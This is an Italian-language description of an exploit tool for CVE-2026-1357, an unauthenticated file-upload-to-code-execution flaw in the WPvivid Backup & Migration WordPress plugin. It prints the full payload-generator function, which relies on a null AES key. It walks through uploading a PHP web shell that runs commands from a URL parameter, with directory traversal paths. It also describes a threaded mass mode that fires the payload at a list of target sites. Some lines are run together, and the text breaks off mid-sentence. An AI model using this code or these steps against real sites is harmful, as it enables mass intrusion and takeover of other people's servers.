
Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione
CVE-2026-1357.py)Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
CVE: CVE-2026-1357 – CVSS 9.8 (Critico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py è uno strumento di sfruttamento proof-of-concept per la vulnerabilità WPvivid. Si concentra sulla gestione difettosa della sessione AES che consente a un attaccante di:
name) scelto all'interno del payload.wpvivid_action=send_to_site.Lo script non tenta di indovinare o abusare direttamente delle chiavi private. Simula invece il flusso corrotto di WPvivid in cui un openssl_private_decrypt() fallito porta all'inizializzazione del cifrario AES di phpseclib con una chiave nulla.
Il cuore dell'exploit è in gen_wpvivid_payload():
Costruisce una struttura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Serializza questo JSON (forma compatta, senza spazi).
Crittografa il JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Antepone quindi:
"000" (segnaposto statico per il campo lunghezza)."{len(cipher):016X}".Il blob crittografato finale è:
"000" + <16-byte hex lunghezza cifrato> + <ciphertext AES-CBC grezzo>
Questo blob viene codificato in base64 e restituito come valore finale di wpvivid_content.
Funzione:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Questo corrisponde alle aspettative di decrittazione di WPvivid nel percorso di codice vulnerabile dopo il fallimento della decrittazione RSA.
Lo script ha due modalità principali più una capacità di test di massa:
mood1 – Generatore di Payload
wpvivid_content usando il trucco della chiave nulla.mood2 – Tester su Target Singolo
Mass Mode (da mood1)
python3 CVE-2026-1357.py
Vedrai una UI basata su Rich con un banner e la selezione della modalità:
mood1 – Generatore di Payloadmood2 – Tester su Target Singolowpvivid_content) che codifica:
Selezione modalità
Quando richiesto:
Choose mode (mood1/mood2) [mood1]:
Premi Invio (predefinito mood1) o digita mood1.
Nome file / percorso target
Ti viene chiesto:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Esempi:
Per rilasciare un file nella directory di backup di WPvivid:
Nx_.php
Per abusare del directory traversal (se consentito dal target):
../../public_html/Nx_.php
Il valore viene inserito nel campo name del payload JSON.
Modalità di inserimento contenuto
Lo script mostra tre modi per definire il contenuto del file:
EOF).shell.php).Ti viene chiesto:
Mode [1/2/3] [1]:
Modalità 1 – Riga singola
Single line content:
Esempio di input:
<?php phpinfo();
Modalità 2 – Multi-riga
Enter file content, line by line. Type 'EOF' on its own line when done.
Puoi incollare o digitare uno script PHP multi-riga, quindi terminare con EOF su una riga dedicata:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modalità 3 – File locale
Local file path (e.g., shell.php):
Lo script legge l'intero file in file_bytes.
Generazione payload
Una volta acquisito il contenuto, lo script:
Vedrai un output come:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
E viene scritto un file wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Dopo aver generato il payload, lo script chiede:
Auto-send this payload to targets list (mass mode)? (y/N):
Se rispondi y, avvia la mass mode con il payload e il nome file appena creati.
File dei target
Esempio di richiesta:
Targets list file (one URL per line):
Formato atteso del file (es. targets.txt):
https://site1.com
site2.com
http://site3.net
Lo script normalizzerà automaticamente gli URL base (aggiungendo lo schema dove manca).
Numero di thread
Threads (concurrent sites) [5]:
Controlla quanti siti vengono elaborati in parallelo.
Logica per target
Per ogni target:
Normalizza l'URL → base_url.
Chiama:
send_wpvivid_payload(base_url, payload)
che:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (controllo in forma compatta).Se l'upload è considerato riuscito:
shell_url come: